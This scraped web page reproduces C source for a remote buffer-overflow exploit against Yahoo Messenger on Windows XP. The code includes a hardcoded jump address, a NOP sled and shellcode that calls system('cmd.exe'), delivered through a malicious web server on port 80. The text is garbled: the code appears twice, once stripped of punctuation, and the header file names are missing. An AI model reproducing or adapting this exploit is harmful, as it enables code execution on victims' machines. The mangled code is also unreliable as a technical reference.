Remote Yahoo Messenger Exploiter

Remote Yahoo Messenger Exploiter * ---[ Remote yahoo Messenger exploiter on Windows XP ]--* Dtors Security Research (DSR) * Code by: Rave * The buffer looks like this * |- */ #include #include #include #include #include /* These are the usual header files */ #include #include #include #define MAXDATASIZE 555 /* Max number of bytes of data */ #define BACKLOG 200 /* Number of allowed connections */ static int port =80; /* library entry inside to jmp 0xc (EB0C); */ char sraddress[8]="\x16\xd8\xE8\x77"; /* This shellcode just executes nothing. | Remote Yahoo Messenger Exploiter Remote yahoo Messenger exploiter on Windows XP Dtors Security Research DSR Code by Rave The buffer looks like this - - - -- Fillup x offset JMP 0x3 EIP NOPS SHELLCODE include include include include include These are the usual header files include include include define MAXDATASIZE 555 Max number of bytes of data define BACKLOG 200 Number of allowed connections static int port 80 library entry inside to jmp 0xc EB0C char sraddress 8 x16 xd8 xE8 x77 This shellcode just executes nothing special here. the victim gets a cmd shell on his desktop lol unsigned char shellcode x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x8b xec x55 x8b xec x68 x65 x78 x65 x20 x68 x63 x6d x64 x2e x8d x45 xf8 x50 xb8 x44 x80 xbf x77 0x78bf8044 - adress of system xff xd0 call system static int port void Usage char programName printf n t t------------------------------------------- n printf t t t tDtors Security Research DSR n printf t t t tCode by Rave n printf t t t tMail rave@ n printf t t--------------------------------------------- n n Modify here to add your usage message when the program is called without arguments printf t t-------------------------------------------- n n fprintf stdout t t-P local webserver server portnumber n fprintf stdout t t-g greatz to n n n n n printf t t--------------------------------------- n n returns the index of the first argument that is not an option . does not start with a dash or a slash int HandleOptions int argc char argv int i firstnonoption 0 for i 1 i argc i if argv i 0 argv i 0 - switch argv i 1 An argument - means help is requested case Usage argv 0 break case P port atoi argv i 1 break case H if stricmp argv i 1 help Usage argv 0 break If the option -h means anything else in your application add code here Note this falls through to the default to print an unknow .